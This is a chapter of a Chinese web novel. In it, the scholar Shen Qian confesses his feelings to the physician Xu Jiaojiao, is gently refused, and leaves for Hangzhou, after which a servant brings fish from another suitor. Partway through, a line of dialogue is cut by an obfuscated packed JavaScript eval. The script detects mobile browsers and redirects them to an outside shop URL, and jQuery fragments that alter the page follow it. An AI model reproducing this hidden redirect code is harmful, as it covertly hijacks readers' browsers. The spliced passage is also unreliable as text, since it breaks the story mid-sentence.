68. 第68章 沈谦告别

作品:《杏林天香

    九月初八,离沈谦动身去杭州还有两日。


    柳枝巷小院旁的梧桐叶黄了大半,风一过,便簌簌地落。连着下了几日的秋雨,昨日才停,今日,许娇娇看着初升的太阳,赶紧和静尘将最后一批处理好的鹅绒拿出来暴晒。阳光透过稀疏的枝叶洒下来,照得那些洁白蓬松的绒朵仿佛笼着一层柔光。


    院门被叩响时,许娇娇正将晒好的绒朵装进细棉布袋里。静尘去开门,见到门外站着的人,愣了愣,回头道:“娇杏,是沈公子。”


    许娇娇拍拍手上的绒絮,起身望去。沈谦独自一人站在门外,今日穿了身素净的靛青直裰,未带小厮,手里只提着一个不大的青布包袱。他面色依旧有些苍白,但眼神清亮,看向她时,唇角自然而然地扬起温润的笑意。


    “沈公子。”许娇娇迎上前,心中有些讶异。前几日他才来过,怎么又来了?


    “许娘子。”沈谦进了院子,目光在她沾着绒絮的鬓边停留一瞬,又迅速移开,“又要叨扰了。”


    “公子客气了。”许娇娇引他到槐树下坐,示意静心沏茶,“公子这是要出门?”


    沈谦将包袱放在石桌上,没有立刻回答,而是看向院子里晾晒的绒朵和未缝制的布料,温声道:“羽绒被快做好了?”


    “差不多了。”许娇娇在他对面坐下,“再晒两日,就能缝制。”


    沈谦点点头,静默了片刻。秋阳正好,落在两人之间的石桌上,光影斑驳。静心端了茶来,又悄悄退到厨房门口,和静尘交换了一个眼神。


    “许娘子,”沈谦终于开口,声音比平日低沉些,“我后日便要动身去杭州了。”


    许娇娇微微一怔:“杭州?去多久?”


    “少则一年,多则……或许更长。”沈谦看着她,目光里有着不加掩饰的不舍,“祖父让我去万松书院读书,拜在方守正老先生门下。机会难得,我不能推辞。”


    万松书院,那可是杭州最有名的书院。那是江南文人士子向往的圣地。沈谦作为沈氏嫡长孙,去那里深造是再自然不过的事。她由衷道:“这是好事。方老先生是当世大儒,公子能得他指点,前程必定更加光明。我在此预祝公子一路顺风,学业精进。”


    她说得真诚,眉眼舒展,是真为他高兴的样子。沈谦看着她清澈的眼眸,心头那点离愁别绪却更浓了。她只为他高兴,却似乎,并无半分不舍。


    “许娘子,”他握住茶杯的手指微微收紧,指节有些泛白,“此去杭州,山长水远。再见面,不知是何年何月了。”


    许娇娇察觉到他语气中的异样,垂下眼睫,轻声道:“有缘自会相见。公子专心读书便是。”


    “有些话,”沈谦深吸一口气,像是鼓足了勇气,“若今日不说,恐怕以后便没有机会了。”


    院子里忽然静了下来。静尘和静心见他有话要说,两人忙躲进厨房。旺财似乎也察觉到气氛不同,从窝里爬起来,蹲在许娇娇脚边,仰头看着两人。


    许娇娇心头一跳,有许些不自在。她抬起眼,目光沉静地看向沈谦:“公子请讲。”


    沈谦对上她澄澈的目光,原本准备好的那些委婉含蓄的说辞,忽然都说不出口了。他不想再绕弯子,不想再试探。这一别,或许就是永远。


    “许娘子,”他声音很轻,却字字清晰,“自仁心堂病中初醒,见你守在榻前;到后来听你讲解医理,看你救治他人;再到那日这小院中,见你低头拣选绒絮,眉眼专注......


    这些日子,沈某心中,便再容不下他人了。”


    许娇娇睫毛颤了颤,没有说话。


    “我知道,我这话唐突,或许还会给你带来困扰。”沈谦语气恳切,眼中一片真诚,“我也知道,你我门第悬殊,沈家未必会应允。这些我都想过。可我还是想告诉你。谦此生,心仪许娘子,愿以余生相护,绝不相负。”


    他顿了顿,从怀中取出一个素锦荷包,轻轻推到许娇娇面前:“这里面,是我自幼佩戴的一枚平安扣,并非贵重之物,却是我一片心意。此去杭州,我必发奋读书,考取功名。待我有了功名在身,能自主婚事时,若娘子那时仍未许人,可否……给我一个机会?”


    荷包是雨过天青色,绣着简单的竹叶纹,针脚细密,显然是他随身之物。许娇娇看着那荷包,心头五味杂陈。


    沈谦突如其来的告白,如此郑重。令她有些措手不及。


    许娇娇在这个异世见过许多异样的目光。沈谦的目光她却有些不敢直视。并不是她怕他,而是她觉得这样一份感情与她而言是沉重的,是无法超越的现实。


    在这个士庶天隔的时代,她比谁都清楚。


    沈氏是累世簪缨的诗礼旧族,外祖做过户部尚书,父亲在京为官,他自己是嫡长孙,是将来要扛起门楣的人。而她是什么?落溪村许大郎家的孤女,水月庵逃出来的挂单尼,张记生药铺坐堂的女医。这样的身份,莫说聘为正妻,便是做妾,都不一定够格。


    沈谦,少年的一腔热血,如此炙热和真诚......


    一阵风来,梧桐叶沙沙地响。一片半黄的叶子打着旋儿落下,正正落在荷包旁,像是天地也为这场沉默添了一笔注脚。


    许娇娇沉默了很久。秋风拂过,又卷下几片梧桐叶,落在石桌上,落在两人之间。


    “沈郎君,”她终于开口,声音很轻,却很清晰,“我……多谢郎君厚爱。”


    沈谦眼中亮起期待的光。


    许娇娇却缓缓摇了摇头:“这枚平安扣,我不能收。”


    那光骤然黯了下去。


    “公子的心意,我明白了。”许娇娇抬眼,目光坦然地迎上他失望的眸子,“公子是端方君子,待我以诚,我感激不尽。只是……”


    她顿了顿,似乎在斟酌词句:“我身世飘零,前路未卜。眼下只求安稳度日,无心其他。公子前程远大,将来必定会遇到真正门当户对、能与公子并肩而立的淑女。我,不值得公子如此。”


    “值不值得,该由我说了算。”沈谦急声道,一贯温润的嗓音里带了丝不易察觉的颤抖,“我不在乎门第,不在乎那些虚名。许娘子,你难道……对我没有半分好感吗?”


    许娇娇看着他眼中真切的情意和期盼,心头微涩。好感吗?自然是有的。沈谦温润如玉,品性高洁,待她真诚尊重,在疫病中挺身而出的担当也令人敬佩。这样的男子,很难不让人心生好感。


    可也仅止于此了。


    这份好感,还不足以让她去对抗门第的鸿沟,不足以让她将未来的希望寄托在一个漫长的承诺上。更重要的是……她脑海中忽然闪过另一张冷峻的脸,想起中秋夜月光下他饮酒时的侧影,想起他说“会的”时那低沉的嗓音。


    那点连她自己都不愿深究的悸动,此刻她也无暇顾及。


    “沈公子,”她声音柔和,却带着不容转圜的坚定,“你对我的恩情与心意,我铭记于心。但这枚平安扣,我真的不能收。愿你此去杭州,一路顺风,前程似锦。将来……定能觅得佳偶,白头偕老。”


    话说至此,已是明确的拒绝。


    沈谦脸上的血色一点点褪去。他看着她,眼中翻涌着失望、痛楚,还有一丝不甘。但他终究是君子,即便被拒绝,也没有失态,只是缓缓收回了那枚荷包,紧紧握在掌心。


    “我明白了。”他声音沙哑,扯出一个勉强的笑容,“是我……冒昧了。”


    他站起身,身形有些晃,却又很快稳住。深深看了许娇娇一眼,似是要将她的模样刻在心里。


    “许娘子,保重。”他拱手,郑重一礼。


    “沈公子也保重。”许娇娇起身还礼。


    沈谦最后环顾了一眼这小院。阳光下晾晒的绒朵,墙角盛放的月季,厨房门口关切望着这边的静尘静心,还有她脚边那只乖巧的黄狗。这一切安宁温暖的景象,都将成为他日后回忆里,最明亮也最怅惘的一笔。


    他转身,一步一步走出小院。背影在秋日的阳光里,显得格外孤清。


    许娇娇站在槐树下,望着他离去的方向,久久未动。心头像是压了一块石头,沉甸甸的。拒绝一个真心待自己好的人,并非易事。可她别无选择。


    静尘轻轻走过来,担忧地看着她:“娇杏……”


    “我没事。”许娇娇摇摇头,唇角扬起一个浅浅的弧度,“只是觉得……有些对不住沈公子。”


    “你做的没错。”静尘低声道,“长痛不如短痛。沈家那样的门第,不是我们能高攀的。沈公子他总会想通的。”


    许娇娇没有说话,只低头继续整理那些绒朵。指尖拂过柔软温暖的绒絮,心绪却难以平静。


    两日后,九月初十,沈谦启程前往杭州。


    那日清晨下起了蒙蒙细雨,秋雨缠绵,将菰城的青瓦白墙笼在一片朦胧水汽中。沈家的马车从尚书第侧门驶出,三辆马车,几个仆役,行李简朴。沈老太爷亲自送到门口,又嘱咐了随行的管事几句。


    沈谦撩开车帘,回头望了一眼沈府高高的门楣,又望向柳枝巷的方向。雨丝细密,看不真切。


    “谦儿,路上小心。”沈老太爷的声音将他拉回现实。


    “孙儿明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346618|197528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白。祖父保重。”沈谦放下车帘,坐回车中。


    马车缓缓驶动,车轮碾过湿漉漉的石板路,发出沉闷的声响。沈谦靠在车厢壁上,闭上眼。掌心似乎还残留着那枚平安扣的触感。那是他五岁时,母亲亲手为他戴上的,说是外祖母从寺里求来,能保平安。


    他终究没有送出去。


    也好。沈谦苦笑。留个念想,或许比被她退回要好受些。


    马车驶出城门时,雨渐渐停了。沈谦再次撩开车帘,望向逐渐远去的菰城城墙。这座他生活了二十年的城池,在这一刻忽然显得陌生而遥远。


    他想起了疫病期间那些混乱而艰难的日夜,想起了仁心堂草棚里她温声劝药的声音,想起了柳枝巷小院中秋阳下她低头拣选绒絮的侧脸。


    都过去了。


    沈谦放下车帘,从行囊中取出一卷书。书页已经翻得有些旧了,上面还有他往日做的批注。他深吸一口气,强迫自己将注意力集中在那些熟悉的文字上。


    前路还长。祖父说得对,他肩上有沈氏一族的期望,有自己的抱负要实现。儿女情长,不该成为他的羁绊。


    可为何,心口那处,仍空落落的,像被秋雨浸透,凉得发疼?


    马车一路向南,朝着杭州方向驶去。


    ........


    与此同时,柳枝巷小院里,许娇娇正在缝制最后一条羽绒被。


    细密的针脚,均匀的格子,她做得很专注。静尘和静心在一旁帮忙填充绒朵,三人有一搭没一搭地说着话。


    “听说沈公子今日动身了。”静心小声说,“这么早就走,怕是赶着在入冬前到杭州。”


    静尘看了许娇娇一眼,见她神色如常,才接话道:“早些走也好,路上不用太赶。杭州气候温和,冬天也比菰城好过些。”


    许娇娇点点头,手中的针线没有停。她今日穿了身半旧的藕荷色夹袄,头发简单绾在脑后,几缕碎发垂在颊边。阳光从窗外照进来,在她低垂的睫毛上投下浅浅的阴影。


    正说着,院门又被叩响了。


    这次来的却是长风。


    他今日没穿公服,一身寻常的青布短打,手里提着两条用草绳穿着的鲤鱼,鱼鳃还在一张一合,显然是刚买的。


    “许娘子,”长风笑着进门,将鱼递过来,“今早去码头办事,瞧见这鱼新鲜,就买了两条。主子说……说让送过来,给娘子添个菜。”


    他话说得有些磕绊,眼神飘忽,显然这“主子说”里有多少是真,多少是他自己加上的,颇值得玩味。


    许娇娇接过鱼,沉甸甸的,鱼鳞在阳光下闪着银光。“多谢长风大哥,也替我谢谢裴安抚。”她顿了顿,状似随意地问,“裴安抚近日可好?公务还是那样忙吗?”


    “忙,怎么不忙。”长风叹了口气,“江南的案子千头万绪,主子这些日子几乎没怎么合眼。昨日审了一整夜的账册,今早又去见了孟知州。”他忽然想起什么,压低声音,“不过有件事……沈家那位大公子,今日启程去杭州了。”许娇娇神色平静:“我听说了。”


    长风观察着她的表情,见她没有太多异样,心中稍定,又试探着说:“郎主还特意嘱咐,让杭州那边的人照应着些,毕竟是亲戚。”


    这话说得巧妙,暗藏几分弦外之音。许娇娇抬眼看了看长风。长风的目光正与她的对上,有些避之不及的尴尬,于是抬手挠了挠头,岔开了话题:“娘子手真巧,这就是那羽绒被啊!”


    许娇娇抿唇一笑,点了点头。


    “裴安抚想得周到。”


    长风见她笑了,心里一松:“可不是嘛,郎主做事向来周全。不过——”他顿了顿,觑着许娇娇的神情,继续道,“这些日子天气渐凉,郎主不太适应南方的潮气,娘子这羽绒被我看着挺好。不如娘子辛苦辛苦,帮郎主也做一床?”


    “这……”许娇娇一愣,“恐怕不太妥当吧?合适吗?”


    “妥当妥当,怎么不妥当。”长风堆出一脸笑容,“郎主就怕这南方的潮气,都念叨几回了。太合适了。”


    他顿了顿,又压低了声音:“对了,郎主还说……”他似乎在斟酌用词,“说柳枝巷这边若有什么需要,让娘子一定派人去行辕说一声。”


    许娇娇轻轻点头:“我记下了。有劳安抚挂心。”


    长风又说了几句闲话,便告辞离开。


    他走后,静尘看着那两条活蹦乱跳的鲤鱼,笑道:“这位裴钦差,倒真是细心。”


    许娇娇没接话,只低头看着手中还在挣扎的鱼。鱼尾拍打着,溅起细小的水珠。